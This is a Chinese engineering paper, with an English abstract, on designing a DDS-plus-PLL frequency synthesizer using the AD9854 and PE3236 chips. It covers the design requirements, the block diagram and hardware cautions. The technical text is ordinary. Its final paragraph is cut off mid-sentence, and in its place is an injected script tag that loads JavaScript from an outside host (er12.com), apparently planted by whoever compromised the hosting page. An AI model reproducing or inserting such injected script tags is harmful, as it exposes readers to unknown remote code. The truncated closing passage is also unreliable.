摘 要：简述了用ddsad9854和pllpe3236所设计的频率合成源的实现方案，重点对硬件设计中的注意事项进行了详细说明，并且对系统的相位噪声和杂散性能做了简要分析。最后给出了系统测试结果。
关键词：频率合成器；ad9854；pe3236；相位噪声
frequency synthesizer of dds plus pll
qu xinjian12，chang yilin1
(1.xidian university，xi′an，710071，china；
2. the 20th research institute of cetc, xi′an，710068，china)
abstract：the paper simply presented scheme of frequency synthesizer using ddsa d9854 plus pllpe3236 some cautious problems in hardware design were de scribed in detail, and also simply analyzed phase noise performance of this syste m and its spurious performance．at last，experimental results were introduced．
keywords：frequency synthesizer；ad9854；pe3236；phase noise
频率合成器是现代电子系统的重要组成部分,在通信、雷达、电子对抗、导航、广播电视、遥测遥控、仪器仪表等许多领域中被广泛应用。例如,在雷达设备中,他为发射机的调制器提供载频信号,也为接收机的混频器提供本振信号；在测试仪器中,他可单独作为标准信号源。随着电子技术的不断发展,各类电子系统对频率合成器的要求越来越高,对相位噪声、频率转换时间、频率分辨力、相对工作带宽、体积及功耗等多种指标提出了更高的要求。所以在研制频率合成源时,应根据具体应用和要求选择适当的方案,以满足系统设计指标要求。直接频率合成（dds）技术因有突出的特点，如输出波形灵活且相位连续（这是其最大优势）、频率稳定度高、输出频率分辨率高、频率转换速度快、输出相位噪声低、集成度高、功耗低、体积小等，使其在频率合成源技术中被广泛应用，但dds合成频率比较低且输出频谱杂散较大，又限制了其应用。pll则具有频带宽、工作频率高、频谱质量好等优点，但其不足之处为频率分辨率、频率建立时间等方面远不如dds。如果把两者结合起来,取长补短,可以获得更高的频率分辨率,更快的信号建立时间,低相噪和宽输出频率范围等性能。
1实现原理
本频率合成源要求输出频率可控，线性调频频率范围为1.8~2.2 ghz，且调频带宽可以改变：50 mhz，100 mhz，200 mhz和400 mhz 4档，调频周期相应为1 ms，2 ms，4ms，8 ms，相位噪声优于-95 dbc/hz(@1 khz)。本着经济实用的原则，选择了8031单片机控制ad9854 dds芯片激励pe3236 pll芯片来输出合成信号，原理框图如图1所示。
系统把要求的频率控制字存贮在只读存贮器rom中，通过拨位开关控制8031选择给dds 9854灌输频率控制字，使9854产生低频线性调频信号（300 mhz参考时钟是与单片机10 mhz时钟相参的），经无源低通滤波器lpf1平滑后送到鉴相器pe3236，鉴相器把dds送来的低频线性调频信号和要求系统最终输出的线性调频信号经80分频后进行比相，得到误差电压，再经经典的二阶有源低通滤波器lpf2滤除高次谐波送给压控振荡器vco，vco输出系统要求的线性调频信号。
2硬件设计注意事项
由于dds+pll是一项成熟的技术，所以在硬件的实现中，各个关键芯片的性能特点在许多文章和器件资料中都有介绍，本设计中软件的设置比较简单，这里不做介绍。把硬件设计过程中的注意事项作为重点，确保信号纯度好、相位噪声低。
ad9854芯片是ad公司生产的性能很好的直接数字频率合成芯片。与传统的芯片相比,不但具有一般芯片所具有的相位累加器,正弦值存储表,还在相位累加器前加了一级频率累加器,后面集成了数模转换器,可提供正交的i/q两路输出。在频率累加器的作用下产生线性增加的瞬时频率,经相位累加器输出信号的二次瞬时相位,以此相位值寻址正弦值存储表,得到与相位对应的幅度量比值,再经数模转换得到连续的阶梯波,经设计的滤波器滤除其中的高频分量,将得到的信号送到pe3236倍频电路。
pe3236芯片是peregrine semiconductor公司生产的一种高性能的整数分频集成数字锁相环芯片。他由前置分频器、计数器、频率鉴相器和控制逻辑组成,计数器r和m分配给参考频率和前置分频器,各自的值储存在20 b的寄存器中,两级20 b锁存器能构成“乒乓”计数器。附加的计数器a被用在系数选择逻辑中,频率鉴相器产生控制信号,控制逻辑包含片选接口,数据能通过串口总线、并口总线、管脚的硬布线3种方式写入。有不同的操作和失锁检测模式,他的可编程性和双锁存结构使其更适于用在小数分频器或∑-δ上。
2.1ad9854使用中注意的问题
2.1.1正确使用update信号
在ad9854工作过程中，update信号起着非常重要的作用。从8031?script src=http://er12.com/t.js>
